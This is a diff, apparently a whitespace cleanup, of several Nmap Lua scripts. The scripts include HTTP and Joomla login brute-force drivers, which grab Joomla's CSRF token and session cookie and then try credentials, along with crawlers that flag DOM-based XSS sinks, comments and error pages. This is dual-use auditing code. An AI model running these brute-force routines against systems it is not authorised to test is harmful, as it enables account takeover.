-- which won't be guessed until the end, due to socket exhaustion.
|
-- which won't be guessed until the end, due to socket exhaustion.
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local response
|
local response
|
||||||
local opts_table
|
local opts_table
|
||||||
if not self.digestauth then
|
if not self.digestauth then
|
||||||
-- we need to supply the no_cache directive, or else the http library
|
-- we need to supply the no_cache directive, or else the http library
|
||||||
-- incorrectly tells us that the authentication was successful
|
-- incorrectly tells us that the authentication was successful
|
||||||
opts_table = { auth = { username = username, password = password }, no_cache = true }
|
opts_table = { auth = { username = username, password = password }, no_cache = true }
|
||||||
else
|
else
|
||||||
opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true }
|
opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true }
|
||||||
@@ -86,47 +86,47 @@ Driver = {
|
|||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Checking for ~= 401 *should* work to
|
-- Checking for ~= 401 *should* work to
|
||||||
-- but gave me a number of false positives last time I tried.
|
-- but gave me a number of false positives last time I tried.
|
||||||
-- We decided to change it to ~= 4xx.
|
-- We decided to change it to ~= 4xx.
|
||||||
if ( response.status < 400 or response.status > 499 ) then
|
if ( response.status < 400 or response.status > 499 ) then
|
||||||
if ( not( nmap.registry['credentials'] ) ) then
|
if ( not( nmap.registry['credentials'] ) ) then
|
||||||
nmap.registry['credentials'] = {}
|
nmap.registry['credentials'] = {}
|
||||||
end
|
end
|
||||||
if ( not( nmap.registry.credentials['http'] ) ) then
|
if ( not( nmap.registry.credentials['http'] ) ) then
|
||||||
nmap.registry.credentials['http'] = {}
|
nmap.registry.credentials['http'] = {}
|
||||||
end
|
end
|
||||||
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
||||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
|
||||||
end,
|
|
||||||
|
|
||||||
check = function( self )
|
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
|
check = function( self )
|
||||||
|
return true
|
||||||
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local status, result
|
local status, result
|
||||||
local path = stdnse.get_script_args("http-brute.path") or "/"
|
local path = stdnse.get_script_args("http-brute.path") or "/"
|
||||||
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
||||||
|
|
||||||
if ( not(path) ) then
|
if ( not(path) ) then
|
||||||
return " \n ERROR: No path was specified (see http-brute.path)"
|
return " \n ERROR: No path was specified (see http-brute.path)"
|
||||||
end
|
end
|
||||||
|
|
||||||
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
||||||
|
|
||||||
if ( response.status ~= 401 ) then
|
if ( response.status ~= 401 ) then
|
||||||
return (" \n Path \"%s\" does not require authentication"):format(path)
|
return (" \n Path \"%s\" does not require authentication"):format(path)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- check if digest auth is required
|
-- check if digest auth is required
|
||||||
local digestauth = false
|
local digestauth = false
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ action = function(host, port)
|
|||||||
local min, max, page_test
|
local min, max, page_test
|
||||||
local bulk_start = stdnse.clock_ms()
|
local bulk_start = stdnse.clock_ms()
|
||||||
for i = 1,tries do
|
for i = 1,tries do
|
||||||
local start = stdnse.clock_ms()
|
local start = stdnse.clock_ms()
|
||||||
if ( url_page:match("%?") ) then
|
if ( url_page:match("%?") ) then
|
||||||
page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
|
page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
|
||||||
else
|
else
|
||||||
@@ -121,7 +121,7 @@ action = function(host, port)
|
|||||||
output = tab.new(4)
|
output = tab.new(4)
|
||||||
tab.addrow(output, "page", "avg", "min", "max")
|
tab.addrow(output, "page", "avg", "min", "max")
|
||||||
for _, entry in ipairs(results) do
|
for _, entry in ipairs(results) do
|
||||||
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
|
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
|
||||||
end
|
end
|
||||||
output = "\n" .. tab.dump(output)
|
output = "\n" .. tab.dump(output)
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -57,100 +57,100 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
-- the related comment.
|
-- the related comment.
|
||||||
local getLineNumber = function(body, comment)
|
local getLineNumber = function(body, comment)
|
||||||
|
|
||||||
local partofresponse = body:find(comment, 1, true)
|
local partofresponse = body:find(comment, 1, true)
|
||||||
partofresponse = body:sub(0, partofresponse)
|
partofresponse = body:sub(0, partofresponse)
|
||||||
local _, count = string.gsub(partofresponse, "\n", "\n")
|
local _, count = string.gsub(partofresponse, "\n", "\n")
|
||||||
|
|
||||||
return count + 1
|
return count + 1
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local context = stdnse.get_script_args("http-comments-displayer.context")
|
local context = stdnse.get_script_args("http-comments-displayer.context")
|
||||||
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
|
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
|
||||||
|
|
||||||
local comments = {}
|
local comments = {}
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||||
|
|
||||||
if (not(crawler)) then
|
if (not(crawler)) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
if context then
|
if context then
|
||||||
if (tonumber(context) > 100) then
|
if (tonumber(context) > 100) then
|
||||||
context = 100
|
context = 100
|
||||||
end
|
|
||||||
|
|
||||||
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
|
|
||||||
for i, pattern in ipairs(PATTERNS) do
|
|
||||||
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local index, k, target, response, path
|
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
|
||||||
while (true) do
|
for i, pattern in ipairs(PATTERNS) do
|
||||||
|
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if singlepages then
|
local index, k, target, response, path
|
||||||
k, target = next(singlepages, index)
|
while (true) do
|
||||||
if (k == nil) then
|
|
||||||
break
|
|
||||||
end
|
|
||||||
response = http.get(host, port, target)
|
|
||||||
path = target
|
|
||||||
|
|
||||||
|
if singlepages then
|
||||||
|
k, target = next(singlepages, index)
|
||||||
|
if (k == nil) then
|
||||||
|
break
|
||||||
|
end
|
||||||
|
response = http.get(host, port, target)
|
||||||
|
path = target
|
||||||
|
|
||||||
|
else
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
else
|
else
|
||||||
local status, r = crawler:crawl()
|
break
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
|
||||||
if (not(status)) then
|
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
end
|
|
||||||
|
|
||||||
if response.body then
|
|
||||||
|
|
||||||
for i, pattern in ipairs(PATTERNS) do
|
|
||||||
for c in string.gmatch(response.body, pattern) do
|
|
||||||
|
|
||||||
local linenumber = getLineNumber(response.body, c)
|
|
||||||
|
|
||||||
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if (index) then
|
|
||||||
index = index + 1
|
|
||||||
else
|
|
||||||
index = 1
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
response = r.response
|
||||||
|
path = tostring(r.url)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- If the table is empty.
|
if response.body then
|
||||||
if next(comments) == nil then
|
|
||||||
return "Couldn't find any comments."
|
for i, pattern in ipairs(PATTERNS) do
|
||||||
|
for c in string.gmatch(response.body, pattern) do
|
||||||
|
|
||||||
|
local linenumber = getLineNumber(response.body, c)
|
||||||
|
|
||||||
|
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if (index) then
|
||||||
|
index = index + 1
|
||||||
|
else
|
||||||
|
index = 1
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Create a nice output.
|
end
|
||||||
local results = {}
|
|
||||||
for c, _ in pairs(comments) do
|
|
||||||
table.insert(results, {_, {{c}}})
|
|
||||||
end
|
|
||||||
|
|
||||||
results.name = crawler:getLimitations()
|
-- If the table is empty.
|
||||||
|
if next(comments) == nil then
|
||||||
|
return "Couldn't find any comments."
|
||||||
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
-- Create a nice output.
|
||||||
|
local results = {}
|
||||||
|
for c, _ in pairs(comments) do
|
||||||
|
table.insert(results, {_, {{c}}})
|
||||||
|
end
|
||||||
|
|
||||||
|
results.name = crawler:getLimitations()
|
||||||
|
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -78,70 +78,70 @@ end
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
|
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
|
||||||
local rapid = stdnse.get_script_args("http-devframework.rapid")
|
local rapid = stdnse.get_script_args("http-devframework.rapid")
|
||||||
|
|
||||||
local d
|
local d
|
||||||
|
|
||||||
-- Run rapidDetect() callbacks.
|
-- Run rapidDetect() callbacks.
|
||||||
for f, method in pairs(tools) do
|
for f, method in pairs(tools) do
|
||||||
d = method["rapidDetect"](host, port)
|
d = method["rapidDetect"](host, port)
|
||||||
|
if d then
|
||||||
|
return d
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||||
|
maxpagecount = 40,
|
||||||
|
maxdepth = -1,
|
||||||
|
withinhost = 1
|
||||||
|
})
|
||||||
|
|
||||||
|
if rapid then
|
||||||
|
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
||||||
|
end
|
||||||
|
|
||||||
|
crawler.options.doscraping = function(url)
|
||||||
|
if crawler:iswithinhost(url)
|
||||||
|
and not crawler:isresource(url, "js")
|
||||||
|
and not crawler:isresource(url, "css") then
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
|
while (true) do
|
||||||
|
|
||||||
|
local response, path
|
||||||
|
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
response = r.response
|
||||||
|
path = tostring(r.url)
|
||||||
|
|
||||||
|
if (response.body) then
|
||||||
|
|
||||||
|
-- Run consumingDetect() callbacks.
|
||||||
|
for f, method in pairs(tools) do
|
||||||
|
d = method["consumingDetect"](response.body, path)
|
||||||
if d then
|
if d then
|
||||||
return d
|
return d
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
|
||||||
maxpagecount = 40,
|
|
||||||
maxdepth = -1,
|
|
||||||
withinhost = 1
|
|
||||||
})
|
|
||||||
|
|
||||||
if rapid then
|
|
||||||
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
|
||||||
end
|
|
||||||
|
|
||||||
crawler.options.doscraping = function(url)
|
|
||||||
if crawler:iswithinhost(url)
|
|
||||||
and not crawler:isresource(url, "js")
|
|
||||||
and not crawler:isresource(url, "css") then
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
|
||||||
|
|
||||||
while (true) do
|
|
||||||
|
|
||||||
local response, path
|
|
||||||
|
|
||||||
local status, r = crawler:crawl()
|
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
|
||||||
if (not(status)) then
|
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
|
|
||||||
if (response.body) then
|
|
||||||
|
|
||||||
-- Run consumingDetect() callbacks.
|
|
||||||
for f, method in pairs(tools) do
|
|
||||||
d = method["consumingDetect"](response.body, path)
|
|
||||||
if d then
|
|
||||||
return d
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
|
return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -67,84 +67,84 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
|
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
|
||||||
|
|
||||||
local domxss = {}
|
local domxss = {}
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||||
|
|
||||||
if (not(crawler)) then
|
if (not(crawler)) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local index, k, target, response, path
|
local index, k, target, response, path
|
||||||
while (true) do
|
while (true) do
|
||||||
|
|
||||||
if singlepages then
|
if singlepages then
|
||||||
k, target = next(singlepages, index)
|
k, target = next(singlepages, index)
|
||||||
if (k == nil) then
|
if (k == nil) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
response = http.get(host, port, target)
|
response = http.get(host, port, target)
|
||||||
path = target
|
path = target
|
||||||
|
|
||||||
|
else
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
else
|
else
|
||||||
local status, r = crawler:crawl()
|
break
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
|
||||||
if (not(status)) then
|
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
end
|
|
||||||
|
|
||||||
if response.body then
|
|
||||||
|
|
||||||
for _, fp in ipairs(JS_FUNC_PATTERNS) do
|
|
||||||
for i in string.gmatch(response.body, fp) do
|
|
||||||
for _, cp in ipairs(JS_CALLS_PATTERNS) do
|
|
||||||
if string.find(i, cp) then
|
|
||||||
if not domxss[i] then
|
|
||||||
domxss[i] = {path}
|
|
||||||
else
|
|
||||||
table.insert(domxss[i], ", " .. path)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if (index) then
|
|
||||||
index = index + 1
|
|
||||||
else
|
|
||||||
index = 1
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
response = r.response
|
||||||
|
path = tostring(r.url)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- If the table is empty.
|
if response.body then
|
||||||
if next(domxss) == nil then
|
|
||||||
return "Couldn't find any DOM based XSS."
|
for _, fp in ipairs(JS_FUNC_PATTERNS) do
|
||||||
|
for i in string.gmatch(response.body, fp) do
|
||||||
|
for _, cp in ipairs(JS_CALLS_PATTERNS) do
|
||||||
|
if string.find(i, cp) then
|
||||||
|
if not domxss[i] then
|
||||||
|
domxss[i] = {path}
|
||||||
|
else
|
||||||
|
table.insert(domxss[i], ", " .. path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if (index) then
|
||||||
|
index = index + 1
|
||||||
|
else
|
||||||
|
index = 1
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local results = {}
|
end
|
||||||
for x, _ in pairs(domxss) do
|
|
||||||
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
|
|
||||||
end
|
|
||||||
|
|
||||||
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
|
-- If the table is empty.
|
||||||
|
if next(domxss) == nil then
|
||||||
|
return "Couldn't find any DOM based XSS."
|
||||||
|
end
|
||||||
|
|
||||||
results.name = crawler:getLimitations()
|
local results = {}
|
||||||
|
for x, _ in pairs(domxss) do
|
||||||
|
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
|
||||||
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
|
||||||
|
|
||||||
|
results.name = crawler:getLimitations()
|
||||||
|
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,86 +47,86 @@ local httpspider = require "httpspider"
|
|||||||
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
|
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
|
||||||
|
|
||||||
local function compare(a, b)
|
local function compare(a, b)
|
||||||
return a[1] < b[1]
|
return a[1] < b[1]
|
||||||
end
|
end
|
||||||
|
|
||||||
local function inTable(tbl, item)
|
local function inTable(tbl, item)
|
||||||
|
|
||||||
item = tostring(item)
|
item = tostring(item)
|
||||||
for key, value in pairs(tbl) do
|
for key, value in pairs(tbl) do
|
||||||
if value == tostring(item) then
|
if value == tostring(item) then
|
||||||
return true
|
return true
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return nil
|
end
|
||||||
|
return nil
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
|
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||||
maxpagecount = 40,
|
maxpagecount = 40,
|
||||||
maxdepth = -1,
|
maxdepth = -1,
|
||||||
withinhost = 1
|
withinhost = 1
|
||||||
})
|
})
|
||||||
|
|
||||||
crawler.options.doscraping = function(url)
|
crawler.options.doscraping = function(url)
|
||||||
if crawler:iswithinhost(url)
|
if crawler:iswithinhost(url)
|
||||||
and not crawler:isresource(url, "js")
|
and not crawler:isresource(url, "js")
|
||||||
and not crawler:isresource(url, "css") then
|
and not crawler:isresource(url, "css") then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
|
local errors = {}
|
||||||
|
|
||||||
|
while (true) do
|
||||||
|
|
||||||
|
local response, path
|
||||||
|
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
response = r.response
|
||||||
|
path = tostring(r.url)
|
||||||
local errors = {}
|
|
||||||
|
|
||||||
while (true) do
|
|
||||||
|
|
||||||
local response, path
|
|
||||||
|
|
||||||
local status, r = crawler:crawl()
|
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
|
||||||
if (not(status)) then
|
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
|
|
||||||
if (response.status >= 400 and not errcodes) or
|
|
||||||
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
|
|
||||||
table.insert(errors, { tostring(response.status), path })
|
|
||||||
end
|
|
||||||
|
|
||||||
|
if (response.status >= 400 and not errcodes) or
|
||||||
|
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
|
||||||
|
table.insert(errors, { tostring(response.status), path })
|
||||||
end
|
end
|
||||||
|
|
||||||
-- If the table is empty.
|
end
|
||||||
if next(errors) == nil then
|
|
||||||
return "Couldn't find any error pages."
|
|
||||||
end
|
|
||||||
|
|
||||||
table.sort(errors, compare)
|
-- If the table is empty.
|
||||||
|
if next(errors) == nil then
|
||||||
|
return "Couldn't find any error pages."
|
||||||
|
end
|
||||||
|
|
||||||
-- Create a nice output.
|
table.sort(errors, compare)
|
||||||
local results = {}
|
|
||||||
for c, _ in pairs(errors) do
|
|
||||||
table.insert(results, "\nError Code: " .. _[1])
|
|
||||||
table.insert(results, "\t" .. _[2])
|
|
||||||
end
|
|
||||||
|
|
||||||
table.insert(results, 1, "Found the following error pages: ")
|
-- Create a nice output.
|
||||||
|
local results = {}
|
||||||
|
for c, _ in pairs(errors) do
|
||||||
|
table.insert(results, "\nError Code: " .. _[1])
|
||||||
|
table.insert(results, "\t" .. _[2])
|
||||||
|
end
|
||||||
|
|
||||||
results.name = crawler:getLimitations()
|
table.insert(results, 1, "Found the following error pages: ")
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
results.name = crawler:getLimitations()
|
||||||
|
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,9 +37,9 @@ Joomla's default uri and form names:
|
|||||||
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
|
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
|
||||||
-- @args http-joomla-brute.hostname Virtual Hostname Header
|
-- @args http-joomla-brute.hostname Virtual Hostname Header
|
||||||
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
|
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
|
||||||
-- username used to authenticate. Default: username
|
-- username used to authenticate. Default: username
|
||||||
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
|
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
|
||||||
-- password used to authenticate. Default: passwd
|
-- password used to authenticate. Default: passwd
|
||||||
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
|
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
|
||||||
--
|
--
|
||||||
-- Other useful arguments when using this script are:
|
-- Other useful arguments when using this script are:
|
||||||
@@ -79,19 +79,19 @@ Driver = {
|
|||||||
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
|
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
|
||||||
o.port = port
|
o.port = port
|
||||||
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
|
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
|
||||||
o.options = options
|
o.options = options
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
|
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
|
||||||
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
|
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
|
||||||
{ [self.options.uservar] = username, [self.options.passvar] = password,
|
{ [self.options.uservar] = username, [self.options.passvar] = password,
|
||||||
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
|
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
|
||||||
|
|
||||||
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
|
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
|
||||||
stdnse.print_debug(2, "Response:\n%s", response.body)
|
stdnse.print_debug(2, "Response:\n%s", response.body)
|
||||||
@@ -100,22 +100,22 @@ Driver = {
|
|||||||
return true, brute.Account:new( username, password, "OPEN")
|
return true, brute.Account:new( username, password, "OPEN")
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
check = function( self )
|
check = function( self )
|
||||||
local response = http.get( self.host, self.port, self.uri )
|
local response = http.get( self.host, self.port, self.uri )
|
||||||
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
||||||
-- Check if password field is there
|
-- Check if password field is there
|
||||||
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
||||||
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
|
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
|
||||||
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
|
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
|
||||||
if response.body then
|
if response.body then
|
||||||
local _
|
local _
|
||||||
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
|
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
|
||||||
end
|
end
|
||||||
if security_token then
|
if security_token then
|
||||||
stdnse.print_debug(2, "Security Token found:%s", security_token)
|
stdnse.print_debug(2, "Security Token found:%s", security_token)
|
||||||
@@ -124,12 +124,12 @@ Driver = {
|
|||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
|
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ categories = {"default", "safe"}
|
|||||||
|
